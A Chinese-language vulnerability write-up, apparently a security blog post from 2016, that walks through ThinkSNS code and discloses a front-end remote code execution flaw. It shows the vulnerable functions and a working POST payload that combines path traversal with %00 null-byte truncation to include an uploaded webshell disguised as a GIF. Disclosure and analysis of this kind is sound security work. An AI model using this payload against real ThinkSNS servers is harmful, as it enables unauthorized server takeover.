PHITHON的公开漏洞ThinkSNS 前台getshell 2016-09-06
ThinkSNS 前台getshell
XDCTF2014能顺利结束真开心,发0day凑点钱请大家吃个饭~
/apps/page/Lib/Action/DiyAction.class.php 330行:
1 | public function getTpl() { |
getTpl函数,直接去了$_REQUEST中的三个变量,传给getTplContent函数,进去看看:
1 | public function getTplContent($tpl, $tagName, $sign) { |
关注这三行:
1 | list ( dir, file ) = explode ( ':', $tagName ); |
首先从tagName中取出dir和file,并新建一个file对象。最后调用file对象的getTemplateFile函数,将$tpl传入。最后包含之。
我们看看哪些对象有getTemplateFile方法:
这些都行,我们随便找个进去看看:
比如DiyImage:
1 | public function getTemplateFile($tpl = "") { |
实际上最后包含的就是:dirname(__FILE__).'/DiyImage/'.$file.'.html';
所以,我们可以通过%00截断来进行任意文件包含。
Thinksns全局没用转义$_GET/$_POST/$_REQUEST
,而是在相应位置调用t()函数过滤。但在这个点,并未对$_REQUEST ['tpl'];
进行t()过滤,所以%00没有被转义。
注册登录,发微博处直接传webshell:
向 http://localhost/thinksns/index.php?app=page&mod=Diy&act=getTpl
POST数据:
1 | tpl=../../../../../data/upload/2014/1013/14/543b6f21ed721100100.gif%00&tagName=w:DiyImage&sign= |
tpl处为webshell地址,使用00截断。需要加个referer,如图:
成功getshell。